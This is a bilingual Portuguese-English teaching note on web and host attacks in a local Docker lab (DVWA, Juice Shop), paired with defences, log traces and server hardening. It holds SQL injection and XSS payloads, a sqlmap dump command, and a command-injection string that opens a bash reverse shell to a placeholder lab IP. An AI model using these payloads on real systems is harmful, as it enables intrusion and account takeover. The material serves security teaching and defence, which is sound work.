Hands-on lab

Web and host attacks, and the defence for each.

Recon, SQL injection, XSS, command injection and reverse shells in a safe Docker lab, then the fixes, the host hardening and the log traces that turn each attack into a detection.

Antes de começar: o ciclo e o laboratórioBefore you start: the lifecycle and the lab

"Red team" é o time que ataca de propósito, com contrato e limites claros, para encontrar falhas antes de quem não tem boas intenções encontrar. Esta nota cobre o lado técnico desse trabalho contra aplicações web e servidores: as fases de um ataque, uma ferramenta ou técnica típica de cada uma, e — tão importante quanto — a defesa que neutraliza cada uma delas. Tudo aqui roda contra alvos de laboratório que você mesmo sobe em Docker, nunca contra sistemas de terceiros. O lado humano do ataque (engenharia social, phishing) tem a sua própria nota: Engenharia social: ataque e defesa."Red team" is the group that attacks on purpose, under contract and clear boundaries, to find flaws before someone without good intentions does. This note covers the technical side of that work against web applications and servers: the phases of an attack, a typical tool or technique for each, and — just as important — the defence that neutralises each one. Everything here runs against lab targets you spin up yourself in Docker, never against someone else's systems. The human side of the attack (social engineering, phishing) has its own note: Social engineering: attack and defence.

Isto não é um manual de invasão: é um mapa, no nível de uma certificação como CompTIA Security+/PenTest+ ou de um curso introdutório de OSCP/eJPT. As técnicas citadas são de conhecimento público (MITRE ATT&CK, OWASP) e os laboratórios usam alvos feitos de propósito para serem atacados (DVWA, Metasploitable, Juice Shop). Testar qualquer uma delas fora de um laboratório seu, ou sem um contrato de pentest assinado, pode ser crime — mesmo "só para ver se funciona".This is not a how-to-break-in manual: it is a map, at the level of a CompTIA Security+/PenTest+ certification or an introductory OSCP/eJPT course. The techniques named are public knowledge (MITRE ATT&CK, OWASP) and the labs use targets built on purpose to be attacked (DVWA, Metasploitable, Juice Shop). Trying any of this outside a lab of your own, or without a signed pentest contract, can be a crime — even "just to see if it works".
Onde esta nota se encaixa: é a etapa 2 da trilha de cibersegurança para quem programa. Antes dela, faça a nota de ataque e defesa em redes (nmap, Wireshark, firewall) e a nota de aplicações web seguras; depois dela, feche o ciclo na seção "O outro lado" daqui e nos projetos de detecção da trilha.Where this note fits: it is stage 2 of the cybersecurity path for developers. Before it, do the network attack and defence note (nmap, Wireshark, firewall) and the secure web apps note; after it, close the loop in the "The other side" section below and in the path's detection projects.

O ciclo de um ataqueThe attack lifecycle

Recon AcessoInitial inicialaccess ExecuçãoExecution Escalada dePrivilege privilégioescalation PersistênciaPersistence MovimentoLateral lateralmovement ExfiltraçãoExfiltration Baseado nas táticas do MITRE ATT&CK — o catálogo público de técnicas usado por ofensiva e defesa.Based on MITRE ATT&CK tactics — the public technique catalogue used by both offence and defence.
Cada seção desta nota cobre um elo desta cadeia, com o conceito, um laboratório seguro e a defesa.Each section of this note covers one link of this chain, with the concept, a safe lab and the defence.

O laboratório: tudo em Docker, isoladoThe lab: all in Docker, isolated

Os exercícios usam três alvos de treino bem conhecidos, cada um feito de propósito para ter falhas: DVWA (Damn Vulnerable Web Application), OWASP Juice Shop e Metasploitable2. Uma rede Docker própria os isola da sua rede real — releia a seção de Docker da nota de segurança e redes antes de começar, se ainda não viu como a rede de contêineres funciona.The exercises use three well-known training targets, each built on purpose to have flaws: DVWA (Damn Vulnerable Web Application), OWASP Juice Shop and Metasploitable2. A Docker network of its own isolates them from your real network — re-read the Docker section of the security and networking note first if you have not seen how container networking works.

mkdir lab-redteam && cd lab-redteam
cat > docker-compose.yml <<'EOF'
services:
  dvwa:
    image: vulnerables/web-dvwa
    ports: ["127.0.0.1:8081:80"]     # só no seu localhost, nunca 0.0.0.0
    networks: [lab]
  juice-shop:
    image: bkimminich/juice-shop
    ports: ["127.0.0.1:8082:3000"]
    networks: [lab]
  kali:
    image: kalilinux/kali-rolling
    command: sleep infinity
    networks: [lab]
networks:
  lab:
    driver: bridge
EOF
docker compose up -d
docker compose exec kali bash -c "apt update && apt install -y nmap curl netcat-traditional sqlmap"
docker compose exec kali nmap -sV dvwa juice-shop   # confirma que os dois alvos estão de pé

Resultado esperado: o nmap mostra a porta 80 (DVWA) e 3000 (Juice Shop) abertas, com os respectivos servidores web identificados. As portas publicadas (-p) ficam só em 127.0.0.1: nada disso fica acessível de fora do seu computador.Expected result: nmap shows port 80 (DVWA) and 3000 (Juice Shop) open, with their web servers identified. The published ports are bound only to 127.0.0.1: none of this is reachable from outside your computer.

Reconhecimento: mapear antes de tocarRecon: mapping before touching

Antes de atacar qualquer coisa, um red team levanta o máximo de informação possível sem tocar no alvo diretamente (recon passivo) e só depois toca de leve para confirmar (recon ativo, como o nmap que você já viu).Before attacking anything, a red team gathers as much information as possible without touching the target directly (passive recon), and only afterwards touches it lightly to confirm (active recon, like the nmap you already saw).

TécnicaTechniqueO que revelaWhat it revealsFerramenta típicaTypical tool
WHOIS e DNSWHOIS and DNSdono do domínio, servidores de e-mail, subdomíniosdomain owner, mail servers, subdomainswhois, dig
Motores de busca especializadosSpecialised search enginesdispositivos e serviços expostos na internet, por empresa/paísdevices and services exposed on the internet, by company/countryShodan, Censys
Metadados de arquivos públicosMetadata in public filesnomes de funcionários, software usado, caminhos internos, em PDFs/DOCX do siteemployee names, software used, internal paths, in the site's PDFs/DOCXexiftool
Redes sociais e vazamentos públicosSocial media and public breach datae-mails, cargos, senhas reutilizadas de vazamentos antigos (para phishing e senha)emails, job titles, reused passwords from old breaches (for phishing and passwords)LinkedIn, Have I Been Pwned
Enumeração de subdomíniosSubdomain enumerationmais superfície de ataque do que o site principal sugeremore attack surface than the main site suggestsamass, subfinder

Um script simples de enumeraçãoA simple enumeration script

Os times profissionais usam ferramentas prontas (amass, subfinder); entender o script por trás ajuda a saber o que elas realmente fazem.Professional teams use ready-made tools (amass, subfinder); understanding the script behind them helps you know what they actually do.

#!/usr/bin/env python3
# enum_subdominios.py — tenta resolver cada nome de uma lista contra um domínio.
# Uso educacional: rode só contra domínios SEUS ou de laboratório (ex.: um domínio de teste seu).
import socket
import sys

dominio = sys.argv[1]                     # ex.: meulab.test
palavras = ["www", "api", "dev", "staging", "vpn", "mail", "admin"]

for palavra in palavras:
    alvo = f"{palavra}.{dominio}"
    try:
        ip = socket.gethostbyname(alvo)
        print(f"{alvo} -> {ip}")
    except socket.gaierror:
        pass                               # não existe; segue para o próximo

Resultado esperado: uma lista de subdomínios que de fato resolvem para um IP, a partir de uma lista de palavras comuns — a mesma lógica, só que com listas de milhares de palavras e em paralelo, por trás de ferramentas como o amass.Expected result: a list of subdomains that actually resolve to an IP, from a list of common words — the same logic, just with lists of thousands of words and running in parallel, behind tools like amass.

Defesa: reduzir o que existe para ser encontradoDefence: shrink what there is to find

  • Inventário de ativos: você só protege o que sabe que existe. Mantenha um inventário de domínios, subdomínios e serviços expostos — é também o que o atacante está tentando reconstruir.Asset inventory: you only protect what you know exists. Keep an inventory of domains, subdomains and exposed services — it is also what the attacker is trying to reconstruct.
  • Remova metadados de arquivos publicados (muitas suítes de escritório fazem isso ao exportar para PDF).Strip metadata from published files (many office suites do this on PDF export).
  • Monitore menções e vazamentos da sua organização (Have I Been Pwned tem uma API para domínios inteiros).Monitor mentions and leaks of your organisation (Have I Been Pwned has an API for whole domains).
  • Desative subdomínios e serviços que não são mais usados; um "dev.empresa.com" esquecido costuma ter a configuração mais fraca de todas.Disable subdomains and services no longer in use; a forgotten "dev.company.com" usually has the weakest configuration of all.

Exploração: SQL injection e XSSExploitation: SQL injection and XSS

"Exploração" é usar uma falha específica para fazer um sistema fazer algo que não deveria. A grande maioria das falhas exploradas em aplicações web cabe nas categorias do OWASP Top 10, a lista mais citada do setor. Os dois exemplos abaixo rodam contra o DVWA do laboratório desta nota (nível de segurança "low", de propósito)."Exploitation" is using a specific flaw to make a system do something it should not. The vast majority of flaws exploited in web applications fall into the categories of the OWASP Top 10, the industry's most-cited list. The two examples below run against this note's lab DVWA (security level "low", on purpose).

SQL injection: a consulta que você não escreveuSQL injection: the query you did not write

Quando uma aplicação cola a entrada do usuário direto dentro de uma consulta SQL, em vez de tratá-la como um VALOR, o usuário pode mudar a estrutura da consulta. É a falha mais didática que existe, e ainda uma das mais comuns em código legado.When an application pastes user input straight into a SQL query, instead of treating it as a VALUE, the user can change the query's structure. It is the most teachable flaw there is, and still one of the most common in legacy code.

-- o que o formulário de login do DVWA MONTA por baixo (vulnerável)
SELECT * FROM users WHERE username = '$usuario' AND password = '$senha';

-- se você digitar isto no campo "usuario":
' OR '1'='1

-- a consulta vira:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '...';
-- '1'='1' é sempre verdadeiro: a condição inteira vira verdadeira, login sem senha certa

No DVWA (módulo "SQL Injection", nível low), digite 1 OR 1=1 no campo de busca por ID de usuário. Resultado esperado: em vez de um usuário, a consulta retorna TODOS — a mesma lógica do exemplo acima, mas lendo dados em vez de pular uma senha.In DVWA ("SQL Injection" module, low level), type 1 OR 1=1 in the user-ID search field. Expected result: instead of one user, the query returns ALL of them — the same logic as the example above, but reading data instead of skipping a password.

# a mesma falha, encontrada automaticamente (ferramenta padrão do setor)
docker compose exec kali sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=<copie do navegador>; security=low" --batch --dump
sqlmap automatiza exatamente esse raciocínio: testa dezenas de variações da injeção até achar uma que funcione. É a ferramenta padrão de pentest para esse tipo de falha — e também o que um time de defesa roda contra a própria aplicação antes de ela ir para produção.sqlmap automates exactly this reasoning: it tries dozens of injection variants until one works. It is the standard pentest tool for this kind of flaw — and also what a defence team runs against its own application before it goes to production.

Cross-site scripting (XSS): a entrada que vira códigoCross-site scripting (XSS): input that becomes code

Se a aplicação devolve a entrada do usuário para a página HTML sem tratar, o navegador de QUEM VISUALIZAR executa o que foi digitado. No Juice Shop, procure um campo de busca ou comentário e tente:If the application echoes user input back into the HTML page without treating it, the browser of WHOEVER VIEWS IT executes what was typed. In Juice Shop, find a search or comment field and try:

<script>alert(document.cookie)</script>

Resultado esperado: uma caixa de alerta aparece mostrando o cookie da sessão — prova de que o navegador executou código que veio de um campo de texto. Num ataque real, em vez de alert(), esse script manda o cookie para um servidor do atacante, que o usa para assumir a sessão da vítima sem saber a senha dela.Expected result: an alert box appears showing the session cookie — proof the browser executed code that came from a text field. In a real attack, instead of alert(), that script sends the cookie to an attacker's server, who uses it to take over the victim's session without knowing their password.

Defesa: tratar toda entrada como hostilDefence: treat all input as hostile

FalhaFlawDefesa principalMain defence
SQL injectionSQL injectionconsultas parametrizadas / prepared statements (NUNCA concatenar texto do usuário no SQL) — veja a nota de Postgresparameterised queries / prepared statements (NEVER concatenate user text into SQL) — see the Postgres note
XSSXSSescapar toda saída por padrão (a maioria dos frameworks modernos já faz isso) + um Content-Security-Policy restritivoescape all output by default (most modern frameworks already do this) + a strict Content-Security-Policy
AmbasBothvalidação de entrada no servidor (nunca só no navegador), princípio do menor privilégio no usuário do banco, scanner de dependências/SAST no CIserver-side input validation (never only in the browser), least privilege on the database user, a dependency/SAST scanner in CI
GeralGeneralum WAF (Web Application Firewall) como camada extra — nunca a únicaa WAF (Web Application Firewall) as an extra layer — never the only one

Do comando ao shell: o que vem depoisFrom command to shell: what comes next

Quando uma falha permite executar comandos no servidor (não só ler dados), o próximo passo típico é abrir um shell reverso: o servidor vulnerável se conecta DE VOLTA para uma máquina do atacante, que fica ouvindo numa porta. "Reverso" porque é o alvo que inicia a conexão — o que costuma atravessar firewalls configurados só para bloquear conexões de ENTRADA.When a flaw allows running commands on the server (not just reading data), the typical next step is opening a reverse shell: the vulnerable server connects BACK to an attacker machine, which is listening on a port. "Reverse" because the target initiates the connection — which tends to sail through firewalls configured only to block INBOUND connections.

seu "kali" (ouvindo)your "kali" (listening) nc -lvnp 4444 DVWA (vulnerável)DVWA (vulnerable) campo de comandocommand field conecta de voltaconnects back O alvo INICIA a conexão para você; muitos firewalls só filtramThe target INITIATES the connection to you; many firewalls only filter quem tenta entrar, não quem tenta sair.inbound attempts, not outbound ones.
A lógica de um shell reverso: o "ataque" é convencer o alvo a rodar o comando de conexão.The logic of a reverse shell: the "attack" is convincing the target to run the connect-back command.

Exercício: do campo de comando ao shellExercise: from the command field to a shell

# 1. no seu "kali" (laboratório): abra um ouvinte
docker compose exec kali nc -lvnp 4444

# 2. no DVWA (módulo "Command Injection", nível low), no campo que pede um IP para "ping",
#    digite (troque pelo IP do container kali: docker inspect lab-redteam-kali-1):
127.0.0.1; bash -c 'bash -i >& /dev/tcp/IP_DO_KALI/4444 0>&1'

Resultado esperado: o terminal do nc no kali ganha um prompt interativo DENTRO do contêiner do DVWA — digite whoami ou id e veja o usuário do servidor web respondendo, como se você tivesse um terminal lá. É exatamente assim que um "ponto de apoio" inicial vira controle de um sistema.Expected result: the nc terminal on kali gets an interactive prompt INSIDE the DVWA container — type whoami or id and see the web server's user answer, as if you had a terminal there. This is exactly how an initial "foothold" becomes control of a system.

Depois do shell: o que um atacante fariaAfter the shell: what an attacker would do

FasePhaseIdeiaIdeaFerramenta citada (sem instruções)Tool named (no instructions)
Escalada de privilégioPrivilege escalationprocurar binários SUID, cron jobs mal configurados, senhas em arquivos — veja a nota de Linux, seção de permissõeslooking for SUID binaries, misconfigured cron jobs, passwords in files — see the Linux note, permissions sectionlinPEAS
PersistênciaPersistencedeixar uma forma de voltar depois (uma chave SSH extra, um serviço, uma tarefa agendada)leaving a way back later (an extra SSH key, a service, a scheduled task)—
Movimento lateralLateral movementusar o host comprometido como ponte para alcançar outras máquinas da mesma rede interna (o mesmo princípio do ssh -D da nota de segurança e redes)using the compromised host as a bridge to reach other machines on the same internal network (the same idea as ssh -D in the security and networking note)proxychains
Comando e controle (C2)Command and control (C2)em vez de um nc simples, um framework cifrado, resiliente a quedas, para controlar vários hosts de uma vezinstead of plain nc, an encrypted, drop-resilient framework to control several hosts at onceMetasploit, Sliver, Cobalt Strike
ExfiltraçãoExfiltrationcopiar dados para fora, muitas vezes disfarçados de tráfego comum (DNS, HTTPS)copying data out, often disguised as ordinary traffic (DNS, HTTPS)—
Esta tabela é um mapa de conceitos, de propósito sem comandos prontos para as fases depois do shell — são exatamente as etapas que mais dependem do alvo específico, e as mais fáceis de usar mal fora de um contrato de pentest. Para praticar de verdade e com segurança, plataformas como TryHackMe e Hack The Box (já citadas na nota de segurança e redes) têm máquinas inteiras desenhadas para isso.This table is a map of concepts, deliberately without ready-made commands for the phases after the shell — these are exactly the steps that depend most on the specific target, and the easiest to misuse outside a pentest contract. To practise for real and safely, platforms like TryHackMe and Hack The Box (already named in the security and networking note) have whole machines designed for this.

Defesa: supor que alguém vai conseguir um shellDefence: assume someone will get a shell

ControleControlReduzReduces
Filtragem de saída (egress filtering)Egress filteringum shell reverso precisa que o SERVIDOR consiga abrir uma conexão de saída não usual — bloqueie isso por padrãoa reverse shell needs the SERVER to open an unusual outbound connection — block that by default
Princípio do menor privilégioLeast privilegeo usuário que roda a aplicação web não deveria ter permissão de executar comandos do sistemathe user running the web application should not have permission to run system commands
EDR / monitoramento de processosEDR / process monitoringalerta quando um processo de servidor web gera um shell filho (bash, sh, powershell) — um padrão muito incomum e muito usado para detecçãoalerts when a web server process spawns a child shell (bash, sh, powershell) — a very unusual pattern and a common detection signature
Segmentação de redeNetwork segmentationlimita até onde um host comprometido consegue "andar" (movimento lateral)limits how far a compromised host can "walk" (lateral movement)
Backups testados e offlineTested, offline backupsreduz o impacto se tudo mais falhar — veja a regra 3-2-1 na nota de Postgresreduces the impact if everything else fails — see the 3-2-1 rule in the Postgres note

O outro lado: o que o blue team enxergaThe other side: what the blue team sees

Cada fase do ciclo deixa um rastro, e é nele que o time de defesa (blue team) trabalha. Quem entende só o ataque conhece metade do jogo: o ofício completo é saber o que o ataque faz e onde isso aparece. A tabela abaixo é o elo entre esta nota e a parte defensiva da trilha.Every phase of the lifecycle leaves a trace, and that is where the defending team (blue team) works. Knowing only the attack is half the game: the full craft is knowing what the attack does and where it shows up. The table below is the link between this note and the defensive part of the path.

FasePhaseO rastro que ficaThe trace it leavesOnde apareceWhere it shows up
Reconum scan de portas: muitas tentativas de conexão a portas diferentes, vindas de um IP, em poucos segundos; enumeração web: dezenas de 404 seguidos com o user-agent de uma ferramentaa port scan: many connection attempts to different ports from one IP within seconds; web enumeration: dozens of 404s in a row with a tool's user-agentlogs de firewall, IDS (Suricata) e log de acesso do servidor webfirewall logs, IDS (Suricata) and the web server access log
Engenharia socialum link clicado e, em seguida, um login de um IP ou país incomum; vários pedidos de MFA seguidos (fadiga de MFA)a clicked link and then a login from an unusual IP or country; several MFA prompts in a row (MFA fatigue)logs do provedor de identidade e do e-mail; denúncias dos próprios usuáriosidentity provider and email logs; reports from the users themselves
SQL injection e XSSparâmetros com aspas, UNION SELECT ou <script> no log de acesso; picos de erro 500 vindos do bancoparameters with quotes, UNION SELECT or <script> in the access log; spikes of 500 errors from the databaselog de acesso, log da aplicação, WAF (por exemplo, ModSecurity com o OWASP CRS)access log, application log, WAF (for example ModSecurity with the OWASP CRS)
Shell / execuçãoo processo do servidor web gerando um filho sh ou bash; uma conexão de saída que o servidor nunca fez antesthe web server process spawning a sh or bash child; an outbound connection the server never made beforeauditd, EDR, logs de saída do firewall; a regra Sigma do projeto 5 da trilhaauditd, EDR, firewall egress logs; the Sigma rule from project 5 of the path
Depois do shellum usuário, uma chave em authorized_keys ou uma tarefa do cron novos; um binário SUID que não existiaa new user, a key in authorized_keys or a cron job; a SUID binary that did not exist/var/log/auth.log, monitoramento de integridade de arquivos (o Wazuh faz isso), auditd/var/log/auth.log, file integrity monitoring (Wazuh does this), auditd
Exercício de purple team: repita cada passo do laboratório desta nota e, depois de cada um, procure o rastro correspondente (o log de acesso do contêiner do DVWA, o docker compose logs, uma captura com o tcpdump lida pelo Suricata). Anote o que apareceu e o que passou em silêncio. A trilha tem o roteiro completo nos projetos 3 (mini SOC) e 5 (regra Sigma).Purple team exercise: repeat each lab step of this note and, after each one, look for the matching trace (the DVWA container access log, docker compose logs, a tcpdump capture read by Suricata). Note what appeared and what slipped past silently. The path has the full script in projects 3 (mini-SOC) and 5 (Sigma rule).

Hardening do servidor: fechar antes de alguém abrirServer hardening: close it before someone opens it

Depois de ver como um shell se abre, a defesa mais eficaz é reduzir o que existe para ser explorado antes de qualquer ataque. "Hardening" é esse trabalho de endurecimento: cada item abaixo fecha uma porta que as seções anteriores usaram para entrar ou para persistir.After seeing how a shell gets opened, the most effective defence is shrinking what there is to exploit before any attack happens. "Hardening" is that toughening work: each item below closes a door the previous sections used to get in or to persist.

ItemItemComando / onde configurarCommand / where to configureFechaCloses
Usuário sem privilégio para o servidor webUnprivileged user for the web serverUser www-data no systemd/nginx, nunca rooto alcance de um comando executado através de uma falha na aplicaçãothe reach of a command run through an application flaw
Patches em diaPatches up to datesudo apt update && sudo apt upgrade, automatizado com unattended-upgradesCVEs conhecidos, a maioria do que scanners automatizados encontramknown CVEs, most of what automated scanners find
Auditoria de binários SUIDSUID binary auditfind / -perm -4000 -type f 2>/dev/null, comparado com uma lista conhecidaescalada de privilégio via um binário SUID extra ou mal configuradoprivilege escalation via an extra or misconfigured SUID binary
Permissões de cron e cuidado com scripts graváveisCron permissions and writable-script carels -la /etc/cron.d/ /etc/crontab; nenhum script chamado por root deve ser gravável por outro usuáriopersistência via tarefa agendadapersistence via a scheduled task
Filtragem de saída (egress)Egress filteringnftables/ufw negando saída por padrão — veja a nota de ataque e defesa em redesshells reversos e exfiltraçãoreverse shells and exfiltration
Monitoramento de integridade de arquivosFile integrity monitoringWazuh, auditd com regras em /etc/audit/rules.d/chaves SSH, usuários e binários adicionados sem você saberSSH keys, users and binaries added without you knowing
Content-Security-Policy e escape de saídaContent-Security-Policy and output escapingno framework/middleware — veja a nota de aplicações web segurasin the framework/middleware — see the secure web apps noteXSS

Exercício: auditar a sua própria VM de laboratórioExercise: audit your own lab VM

# rode no host do laboratório (não no contêiner DVWA, que é feito para ter falhas)
find / -perm -4000 -type f 2>/dev/null | sort > suid-antes.txt
# depois de qualquer alteração no sistema, repita e compare:
find / -perm -4000 -type f 2>/dev/null | sort > suid-depois.txt
diff suid-antes.txt suid-depois.txt

Resultado esperado: o diff fica vazio numa máquina que você não alterou; qualquer linha que aparecer é um binário SUID novo, exatamente o tipo de mudança que a tabela "depois do shell" da seção anterior descreve como rastro de escalada de privilégio.Expected result: the diff is empty on a machine you have not changed; any line that shows up is a new SUID binary, exactly the kind of change the previous section's "after the shell" table describes as a privilege-escalation trace.

Cola e revisãoCheat sheet and review

Cola: o ciclo e a defesa de cada faseCheat sheet: the lifecycle and each phase's defence

FasePhasePergunta que o atacante fazQuestion the attacker asksDefesa principalMain defence
ReconRecono que existe, publicamente?what exists, publicly?inventário de ativos, remover metadados, monitorar vazamentos
Engenharia socialSocial engineeringquem confia em quem, e por quê?who trusts whom, and why?MFA resistente a phishing, cultura de verificação, treinamento
ExploraçãoExploitationo que essa entrada faz se eu mudar o formato dela?what does this input do if I change its shape?consultas parametrizadas, escapar saída, validar no servidor
Shell / execuçãoShell / executionconsigo rodar um comando meu aqui?can I run a command of mine here?menor privilégio, filtragem de saída, EDR
Escalada e persistênciaEscalation and persistencecomo viro alguém com mais poder, e fico?how do I become someone with more power, and stay?patches, auditoria de SUID/cron, menor privilégio
Movimento lateralLateral movementque outras máquinas esse host alcança?what other machines can this host reach?segmentação de rede, firewall interno
ExfiltraçãoExfiltrationcomo tiro dados sem ser notado?how do I get data out unnoticed?filtragem de saída, DLP, alertas de anomalia

Perguntas de revisãoReview questions

PerguntaQuestionRespostaAnswer
Por que um pentest precisa de um contrato antes de começar?Why does a pentest need a contract before it starts?Porque as mesmas técnicas, sem autorização por escrito e escopo definido, são crime em praticamente todo lugar.Because the same techniques, without written authorization and a defined scope, are a crime almost everywhere.
Qual a diferença entre recon passivo e ativo?What is the difference between passive and active recon?Passivo não toca o alvo (WHOIS, Shodan); ativo manda pacotes para ele (nmap).Passive never touches the target (WHOIS, Shodan); active sends packets to it (nmap).
Por que o phishing é o vetor inicial mais comum, segundo os relatórios do setor?Why is phishing the most common initial vector, per industry reports?Explora confiança humana, que é mais difícil de corrigir com uma atualização do que uma falha de software.It exploits human trust, which is harder to patch than a software flaw.
O que uma consulta parametrizada evita, que concatenar texto não evita?What does a parameterised query prevent that concatenating text does not?Trata a entrada do usuário sempre como um VALOR, nunca como parte da estrutura do comando SQL.It always treats user input as a VALUE, never as part of the SQL command's structure.
Por que um shell reverso costuma passar por firewalls que bloqueiam entrada?Why does a reverse shell usually get past firewalls that block inbound traffic?Porque é o ALVO que inicia a conexão de saída, não o atacante que tenta entrar.Because the TARGET initiates the outbound connection, not the attacker trying to get in.
O que é movimento lateral?What is lateral movement?Usar um host já comprometido como ponte para alcançar outras máquinas da mesma rede.Using an already-compromised host as a bridge to reach other machines on the same network.
Cite dois controles que reduzem o risco de engenharia social sem depender só do usuário perceber.Name two controls that reduce social-engineering risk without relying solely on the user noticing.MFA resistente a phishing e SPF/DKIM/DMARC no domínio (entre outros: segmentação, menor privilégio).Phishing-resistant MFA and SPF/DKIM/DMARC on the domain (among others: segmentation, least privilege).